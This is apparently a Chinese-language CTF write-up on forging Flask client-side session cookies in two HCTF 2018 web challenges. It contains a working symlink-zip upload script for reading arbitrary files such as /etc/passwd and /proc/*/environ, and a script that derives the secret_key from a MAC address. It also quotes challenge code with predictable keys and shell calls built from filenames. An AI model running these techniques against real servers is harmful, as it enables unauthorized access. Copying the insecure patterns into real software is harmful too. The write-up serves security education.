flsak 客户端session安全问题

​ 客户端session,顾名思义就是存在客户端的session(即放在cookie里)。对于很多我们熟悉的web开发环境都是使用服务器session,就是把session存放在服务器中,而在cookie中设置一个sessionid字段,从而每次带cookie的访问,服务器都可以检索sessionid找到session值。

​ 然而flask作为一个非常轻量级的web框架,并不支持将session保存到服务器,而是选择将session保存到cookie中返回给用户。当然虽然我们可以查看到session内容,因为给session加了签名,所以理论上如果我们不知道secret_key的话我们是无法伪造session的。但是如果我们能借助其他漏洞比如任意文件读取获得了secret_key值的话,我们就可以伪造session了。更多关于客户端session的安全问题详解可以看P牛的这篇文章

​ 接下来,我们来看两道2018年hctf的web题,都运用了伪造flask客户端session的方法。这两道题在github都有docker镜像可以下载,有兴趣的同学可以尝试本地搭建。

2018HCTF admin

​ 伪造session其实是这道题的一个非预期解,但既然可以用,那么我也来分析一下。

​ 进入网页后注册一个账号,登录,在修改密码功能的HTML源码中看到了整个项目源码的github地址

​ 拿到源码,是flask项目,发现了下面两个文件的关键信息。

# app/config.py
class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
# app/templates/index.html
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}

​ 既然我们已经可以拿到了secret_key,而且,只要能伪装成admin用户访问index.html我们就可以拿到flag。

​ 怎么伪造session呢? 前面我们已经说了,客户端session意味着session是暴露给用户的,只是加了签名,我们就无法伪造了。既然这样我们先看看session内容是什么。

​ 纳尼,并不知道这一坨东西是什么鬼呀,其实p牛在它的文章中说了,session内容是经过base64编码和zlib压缩过的,https://github.com/noraj/flask-session-cookie-manager这个工具可以解码session,而且待会伪造session也要用到它。

​ 好,看到了session的内容,我们将其中的name字段和user_id字段伪造一下。

​ 拿这个session去访问主页就可以拿到flag了。

2018HCTF hideandseek

​ 这题打开有个登录界面,任意账号密码可以登录除了admin用户。进去后只能上传zip文件,而且上传后会把zip包解压缩并且返回压缩包中最后一个文件的内容。这样我们就可以压缩一个软链文件,指向我们希望读取的文件。

​ 下面这个脚本很简单,先接受用户输入一个文件名(比如/etc/passwd)并借此创建一个软链压缩成zip上传到题目服务器中查看返回信息。

import os
import requests

def createlink(linkway):
        os.system('ln -s %s link'%linkway)
        os.system('zip -y -m test.zip link')

def uploadfile():
        url = 'http://127.0.0.1:5000/upload'
        files = {'the_file':open('test.zip', 'rb')}
        data = {'submit':'Submit'}
        r = requests.post(url, data=data, files=files)
        print(r.text)

linkway = input()
createlink(linkway)
uploadfile()

读取/etc/passwd成功

​ 现在我们需要的是读取一些文件看看有啥有用的信息可以获取。我们从客户端session大概率能猜出来可能用的就是flask。既然可以读取文件我们就可以读取/proc/pid/environ(pid换成进程号),从进程环境变量中看看正在跑的是什么程序,以及一些敏感信息。

for i in range(10000):
        linkway = '/proc/%d/environ'%i
        createlink(linkway)
        uploadfile()

​ 扫了一遍,发现了nginx的环境变量,并且看到了uwsgi配置文件的位置/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini读取这个文件,发现(flask)项目main函数真正位置。

​ 读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py看到flask源码。

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

​ 可以看到secret_key是通过random函数生成的,而random的种子是uuid.getnode(),即是mac地址。而我们是可以通过读取文件/sys/class/net/eth0/address来获取到mac地址的。这样的话我们就可以获得伪随机种子,那么就可以的到伪随机数,即secret_key就可以算出来了。

​ 并且在此时,我们读取templates/index.html可以看到几行关键性代码。

{% if user == 'admin' %}
        Your flag: <br>
        {{ flag  }}
        {% else %}

​ 此时,我们只要通过伪造session伪装成admin用户登录就可以了。

# 将mac转化成secret_key
import random

mac = '02:42:ac:11:00:02'
mac = ''.join(mac.split(':'))
mac = int(mac, 16)
random.seed(mac)
print(str(random.random()*100))

我拿到secret_key值为42.42408197657815,运用上面的那个工具,计算出伪造的session。

拿这个session登录,拿到flag。